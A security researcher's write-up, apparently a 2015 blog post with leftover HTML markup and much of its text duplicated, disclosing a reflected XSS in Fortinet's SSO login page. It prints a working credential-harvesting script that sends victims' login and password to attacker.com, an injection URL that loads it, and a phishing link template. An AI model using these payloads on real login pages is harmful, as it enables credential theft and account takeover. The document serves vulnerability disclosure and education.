Introduction<\/h1>\n
Companies and current majors turn increasingly to identity federation. A central and single repository containing users credentials (login \/ password) like\u00a0LDAP, AD, etc., a single web application centralized authentication (commonly referred to IdP for IDentity Provider) and federation protocols including standards SAML, WS -FED, OAuth, OpenID, etc.<\/p>\n
The advantage of identity federation?<\/h2>\n\n- The protocols are secure and standardized<\/li>\n
- Sensitive credentials (passwords) no longer need to transit in clear during\u00a0networks exchanges since the federation is based on trust between the parties.<\/li>\n
- Users data are centralized, facilitating management \/ renewal \/ update\u00a0\/ cancellation \/ revokation.<\/li>\n<\/ul>\n
However, keep in mind that the user has only one pair of credentials to remember. Those present in the central repository (LDAP \/ AD) and it uses only through the SSO authentication page. So if this authentication page\u00a0is compromised and \/ or vulnerable, all federated applications are impacted.<\/p>\n
Case History: Fortinet<\/h2>\n
Fortinet, the US multinational founded in 2000 and specializes in equipment \/ appliances of high performance-safety network was vulnerable to such an attack vector. Fortinet is also a leader in the Unified Threat Management solutions (UTM) and positions itself as a world leader in security solution after Cisco Systems<\/a>\u00a0and\u00a0CheckPoint<\/a>.<\/p>\nFortinet set up a mechanism of SSO \/ federation for\u00a0its various platforms. Thus, when attempting to access certain areas of the editor and services without being authenticated, we are redirected to a single authentication page. This is particularly the case for areas:<\/p>\n
\n- forticare.fortinet.com<\/a><\/li>\n
- searchsupport.fortinet.com<\/a><\/li>\n<\/ul>\n
We are automatically redirected to “https:\/\/login.fortinet.com” which is the central IdP page for\u00a0authentication.<\/p>\n
![\"Fortinet](\"https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_login_center-300x154.png\")
<\/a>Fortinet login center<\/p><\/div>\n
Analysis and exploitation<\/h1>\nCanonical RXSS with\u00a0alert()<\/h2>\n
This redirection to the domain\u00a0“login.fortinet.com” is accompanied by several GET parameters that, after successful authentication, redirect the user to the service expected. Example:<\/p>\n
https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=%2f%3fwa%3dwsignin1.0%26wtrealm%3dhttps%253a%252f%252fsearchsupport.fortinet.com%252f%26wctx%3drm%253d1%2526id%253dpassive%2526ru%253d%25252fdefault.aspx%26wct%3d2015-12-07T12%253a27%253a53Z%26LoginMethod%3dLDAP&wa=wsignin1.0&wtrealm=https%3a%2f%2fsearchsupport.fortinet.com%2f&wctx=rm%3d1%26id%3dpassive%26ru%3d%252fdefault.aspx&wct=2015-12-07T12%3a27%3a53Z&LoginMethod=LDAP<\/pre>\nAmong these parameters, the “wtrealm” is vulnerable to an injection of reflected\u00a0JavaScript code (RXSS) :<\/p>\n
https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=\/?wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/<script>alert(\/Yann CAM - Security Consultant @ASafety - SYNETIS\/);<\/script>&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP<\/pre>\nOverview\u00a0:<\/p>\n
![\"Fortinet](\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_001-300x192.png\")
<\/a>Fortinet SSO RXSS alert()<\/p><\/div>\n
At the source, no verification of the value of the “wtrealm” is performed:<\/p>\n
![\"Fortinet](\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_002-300x129.png\")
<\/a>Fortinet SSO RXSS alert() source<\/p><\/div>\n
As the “wtrealm” parameter is changed, it no longer corresponds to a service provider (SP for Service Provider) trusted in the implementation of the Federation of Fortinet. So after the alert, an explicit message is visible on the login page:<\/p>\n
![\"Fortinet](\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_003-300x240.png\")
<\/a>Fortinet SSO RXSS error message<\/p><\/div>\n
Designing a payload for exploitation<\/h2>\n
In this case, the RXSS is located directly on the centralized authentication page. Thus, no need to create a fake login page to deceive potential victims.<\/p>\n
The execution of arbitrary JavaScript in the context of the page being performed successfully, an attacker can load a remote JS script (as long as it is accessible through HTTPS – HSTS protocol) and change the DOM browser victims.<\/span><\/p>\nSuch payload in a remote JS script would eg:<\/p>\n
\n- Hide error message present on the login page to avoid that the victim had suspicions.<\/li>\n
- Change the behavior of the HTML form submission (login \/ password POST) \u00a0of a legitimate user by inserting arbitrary treatment (hook).<\/li>\n<\/ul>\n
The current authentication form basically sending the user data seeking to authenticate to the target specified in the attribute “<form action=TARGET>”.<\/p>\n
To add arbitrary behavior just before the legitimate form submission, the idea is to use the event “onsubmit” on tag “form”. Indeed, it is always the events “on*” on tags that are executed before the standard attributes such “action=” or “href=” xHTML tags.<\/p>\n
As an example, consider a simple tag following hyperlink:<\/p>\n
<a href=\"https:\/\/www.google.com\" onclick=\"this.href='https:\/\/www.asafety.fr'\">Go to Google.com ? :)<\/a><\/pre>\nWhich site do you visit? The one indicated by the browser status bar? \ud83d\ude42<\/p>\n
It’s exactly the same principle to a web form:<\/p>\n
<form action=\"https:\/\/site.com\/target\" onsubmit=\"this.action='https:\/\/attacker.com\/target'\"><\/pre>\nNote: The “action=” event following an “onsubmit=” of a “form” tag can be blocked if the JavaScript code “onsubmit=” return “false”. Same thing\u00a0for a “a” tag between the event “onclick=” and “href=”.<\/p><\/blockquote>\n
To carry out the operating PoC, hiding the error message and changing the behavior of the form, the attacker\u00a0can use the following x.js file:<\/p>\n
\/\/alert(\/Yann CAM - Security Consultant @ASafety - SYNETIS\/);\r\n\/\/ Add JQuery dynamically if needed\r\nvar headx=document.getElementsByTagName('head')[0];\r\nvar jq= document.createElement('script');\r\njq.type= 'text\/javascript';\r\njq.src= 'https:\/\/code.jquery.com\/jquery-latest.min.js';\r\nheadx.appendChild(jq); \/\/ jquery dynamic loading\r\n\/\/ function to send through GET the login\/password of the victim to the attacker's server\r\nfunction sendX(login, passwd){\r\n var x=document.getElementsByTagName('head')[0];\r\n var y= document.createElement('script');\r\n y.type= 'text\/javascript';\r\n y.src= 'https:\/\/attacker.com\/x.php?LOGIN='+login+'&PASSWD='+passwd;\r\n x.appendChild(y);\r\n}\r\n\/\/ function to recover the form submit action event\r\nfunction submitX(){\r\n document.forms[0].onsubmit=function() {\r\n return true; \/\/ enable the form \"action\"\r\n };\r\n document.forms[0].submit();\r\n}\r\n\/\/ function to hook the login form and add an onsubmit action (before the form action)\r\nfunction loadX(){\r\n $( document ).ready(function() {\r\n $(\"#contextHolder_InvalidRPAddress\").html(\"\"); \/\/ clean the error message on the page\r\n document.forms[0].onsubmit=function() {\r\n login=document.getElementById(\"contextHolder_Login_name\").value;\r\n passwd=document.getElementById(\"contextHolder_Login_password\").value;\r\n sendX(login,passwd); \/\/ retrieve login\/password\r\n setTimeout(\"submitX()\", 1000); \/\/ recover initial form submit action\r\n return false; \/\/ block the form \"action\"\r\n };\r\n });\r\n}\r\nsetTimeout('loadX()', 2000);<\/pre>\nOnce x.js file hosted on “https:\/\/attacker.com\/x.js”, and\u00a0loaded in the victim DOM browser visiting “login.fortinet.com”, the following changes result occur:<\/p>\n
\n- The error message with id “contextHolder_InvalidRPAddress” is deleted.<\/li>\n
- The event “onsubmit” in the authentication form is created, and a function that sends the values entered in the “contextHolder_Login_name” and “contextHolder_Login_password” to a script “https:\/\/attacker.com\/x.php” is set up (hook).<\/li>\n
- The post-execution of the form action is blocked until the data have been transmitted on the malicious site.<\/li>\n
- Then, after transmission, the behavior of the form is reset and the legitimate authentication takes place.<\/li>\n<\/ul>\n
For the victim, besides an additional authentication time of one second, no change is visible.<\/p>\n
The file x.js is loaded into the DOM of a victim via a URL like this:<\/p>\n
https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=\/?wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/<script>s=document.createElement('script');s.setAttribute('src','\/\/attacker.com\/x.js');document.body.appendChild(s);<\/script>&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP<\/pre>\nThe arbitrary script is loaded into the navigation context:<\/p>\n
![\"Fortinet](\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_004-300x163.png\")
<\/a>Fortinet SSO RXSS third-party script<\/p><\/div>\n
We can see\u00a0that the error message is no longer visible. We concluded that the alteration of the DOM is functional and therefore the behavior of the form was changed.<\/p>\n
Exploitation\u00a0and demonstration<\/h2>\n
The attacker can then start a phishing campaign \/ spear-phishing from the exploitation of the vulnerability in URL. It can target sysadmins \/ DSI \/ Corporate RSSI featuring Fortinet equipment, and therefore usurp their credentials.<\/p>\n
Example of a page as an illustration:<\/p>\n
You need support for your Fortinet Product?<br \/>\r\nPlease login to the supportcenter here : <a target=\"_blank\" href=\"https:\/\/searchsupport.fortinet.com\/\" onclick=\"this.href='https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=\/?wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/%3Cscript%3Es%3Ddocument.createElement%28%27script%27%29%3Bs.setAttribute%28%27src%27%2C%27%2f%2fattacker.com%2fx.js%27%29%3Bdocument.body.appendChild%28s%29%3B%3C%2fscript%3E&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP'\">https:\/\/searchsupport.fortinet.com\/<\/a><\/pre>\nOverview:<\/p>\n
However, keep in mind that the user has only one pair of credentials to remember. Those present in the central repository (LDAP \/ AD) and it uses only through the SSO authentication page. So if this authentication page\u00a0is compromised and \/ or vulnerable, all federated applications are impacted.<\/p>\n
Case History: Fortinet<\/h2>\n
Fortinet, the US multinational founded in 2000 and specializes in equipment \/ appliances of high performance-safety network was vulnerable to such an attack vector. Fortinet is also a leader in the Unified Threat Management solutions (UTM) and positions itself as a world leader in security solution after Cisco Systems<\/a>\u00a0and\u00a0CheckPoint<\/a>.<\/p>\n Fortinet set up a mechanism of SSO \/ federation for\u00a0its various platforms. Thus, when attempting to access certain areas of the editor and services without being authenticated, we are redirected to a single authentication page. This is particularly the case for areas:<\/p>\n We are automatically redirected to “https:\/\/login.fortinet.com” which is the central IdP page for\u00a0authentication.<\/p>\n Fortinet login center<\/p><\/div>\n This redirection to the domain\u00a0“login.fortinet.com” is accompanied by several GET parameters that, after successful authentication, redirect the user to the service expected. Example:<\/p>\n Among these parameters, the “wtrealm” is vulnerable to an injection of reflected\u00a0JavaScript code (RXSS) :<\/p>\n Overview\u00a0:<\/p>\n Fortinet SSO RXSS alert()<\/p><\/div>\n At the source, no verification of the value of the “wtrealm” is performed:<\/p>\n Fortinet SSO RXSS alert() source<\/p><\/div>\n As the “wtrealm” parameter is changed, it no longer corresponds to a service provider (SP for Service Provider) trusted in the implementation of the Federation of Fortinet. So after the alert, an explicit message is visible on the login page:<\/p>\n Fortinet SSO RXSS error message<\/p><\/div>\n In this case, the RXSS is located directly on the centralized authentication page. Thus, no need to create a fake login page to deceive potential victims.<\/p>\n The execution of arbitrary JavaScript in the context of the page being performed successfully, an attacker can load a remote JS script (as long as it is accessible through HTTPS – HSTS protocol) and change the DOM browser victims.<\/span><\/p>\n Such payload in a remote JS script would eg:<\/p>\n The current authentication form basically sending the user data seeking to authenticate to the target specified in the attribute “<form action=TARGET>”.<\/p>\n To add arbitrary behavior just before the legitimate form submission, the idea is to use the event “onsubmit” on tag “form”. Indeed, it is always the events “on*” on tags that are executed before the standard attributes such “action=” or “href=” xHTML tags.<\/p>\n As an example, consider a simple tag following hyperlink:<\/p>\n Which site do you visit? The one indicated by the browser status bar? \ud83d\ude42<\/p>\n It’s exactly the same principle to a web form:<\/p>\n Note: The “action=” event following an “onsubmit=” of a “form” tag can be blocked if the JavaScript code “onsubmit=” return “false”. Same thing\u00a0for a “a” tag between the event “onclick=” and “href=”.<\/p><\/blockquote>\n To carry out the operating PoC, hiding the error message and changing the behavior of the form, the attacker\u00a0can use the following x.js file:<\/p>\n Once x.js file hosted on “https:\/\/attacker.com\/x.js”, and\u00a0loaded in the victim DOM browser visiting “login.fortinet.com”, the following changes result occur:<\/p>\n For the victim, besides an additional authentication time of one second, no change is visible.<\/p>\n The file x.js is loaded into the DOM of a victim via a URL like this:<\/p>\n The arbitrary script is loaded into the navigation context:<\/p>\n Fortinet SSO RXSS third-party script<\/p><\/div>\n We can see\u00a0that the error message is no longer visible. We concluded that the alteration of the DOM is functional and therefore the behavior of the form was changed.<\/p>\n The attacker can then start a phishing campaign \/ spear-phishing from the exploitation of the vulnerability in URL. It can target sysadmins \/ DSI \/ Corporate RSSI featuring Fortinet equipment, and therefore usurp their credentials.<\/p>\n Example of a page as an illustration:<\/p>\n Overview:<\/p>\n\n
<\/a>Analysis and exploitation<\/h1>\n
Canonical RXSS with\u00a0alert()<\/h2>\n
https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=%2f%3fwa%3dwsignin1.0%26wtrealm%3dhttps%253a%252f%252fsearchsupport.fortinet.com%252f%26wctx%3drm%253d1%2526id%253dpassive%2526ru%253d%25252fdefault.aspx%26wct%3d2015-12-07T12%253a27%253a53Z%26LoginMethod%3dLDAP&wa=wsignin1.0&wtrealm=https%3a%2f%2fsearchsupport.fortinet.com%2f&wctx=rm%3d1%26id%3dpassive%26ru%3d%252fdefault.aspx&wct=2015-12-07T12%3a27%3a53Z&LoginMethod=LDAP<\/pre>\n
https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=\/?wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/<script>alert(\/Yann CAM - Security Consultant @ASafety - SYNETIS\/);<\/script>&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP<\/pre>\n
<\/a><\/a><\/a>Designing a payload for exploitation<\/h2>\n
\n
<a href=\"https:\/\/www.google.com\" onclick=\"this.href='https:\/\/www.asafety.fr'\">Go to Google.com ? :)<\/a><\/pre>\n
<form action=\"https:\/\/site.com\/target\" onsubmit=\"this.action='https:\/\/attacker.com\/target'\"><\/pre>\n
\/\/alert(\/Yann CAM - Security Consultant @ASafety - SYNETIS\/);\r\n\/\/ Add JQuery dynamically if needed\r\nvar headx=document.getElementsByTagName('head')[0];\r\nvar jq= document.createElement('script');\r\njq.type= 'text\/javascript';\r\njq.src= 'https:\/\/code.jquery.com\/jquery-latest.min.js';\r\nheadx.appendChild(jq); \/\/ jquery dynamic loading\r\n\/\/ function to send through GET the login\/password of the victim to the attacker's server\r\nfunction sendX(login, passwd){\r\n var x=document.getElementsByTagName('head')[0];\r\n var y= document.createElement('script');\r\n y.type= 'text\/javascript';\r\n y.src= 'https:\/\/attacker.com\/x.php?LOGIN='+login+'&PASSWD='+passwd;\r\n x.appendChild(y);\r\n}\r\n\/\/ function to recover the form submit action event\r\nfunction submitX(){\r\n document.forms[0].onsubmit=function() {\r\n return true; \/\/ enable the form \"action\"\r\n };\r\n document.forms[0].submit();\r\n}\r\n\/\/ function to hook the login form and add an onsubmit action (before the form action)\r\nfunction loadX(){\r\n $( document ).ready(function() {\r\n $(\"#contextHolder_InvalidRPAddress\").html(\"\"); \/\/ clean the error message on the page\r\n document.forms[0].onsubmit=function() {\r\n login=document.getElementById(\"contextHolder_Login_name\").value;\r\n passwd=document.getElementById(\"contextHolder_Login_password\").value;\r\n sendX(login,passwd); \/\/ retrieve login\/password\r\n setTimeout(\"submitX()\", 1000); \/\/ recover initial form submit action\r\n return false; \/\/ block the form \"action\"\r\n };\r\n });\r\n}\r\nsetTimeout('loadX()', 2000);<\/pre>\n\n
https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=\/?wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/<script>s=document.createElement('script');s.setAttribute('src','\/\/attacker.com\/x.js');document.body.appendChild(s);<\/script>&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP<\/pre>\n<\/a>Exploitation\u00a0and demonstration<\/h2>\n
You need support for your Fortinet Product?<br \/>\r\nPlease login to the supportcenter here : <a target=\"_blank\" href=\"https:\/\/searchsupport.fortinet.com\/\" onclick=\"this.href='https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=\/?wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https:\/\/searchsupport.fortinet.com\/%3Cscript%3Es%3Ddocument.createElement%28%27script%27%29%3Bs.setAttribute%28%27src%27%2C%27%2f%2fattacker.com%2fx.js%27%29%3Bdocument.body.appendChild%28s%29%3B%3C%2fscript%3E&wctx=rm=1&id=passive&ru=\/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP'\">https:\/\/searchsupport.fortinet.com\/<\/a><\/pre>\n
![\"Fortinet](\"https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_phishing_page-300x190.png\")
<\/a>![\"Fortinet](\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_006-300x163.png\")
<\/a>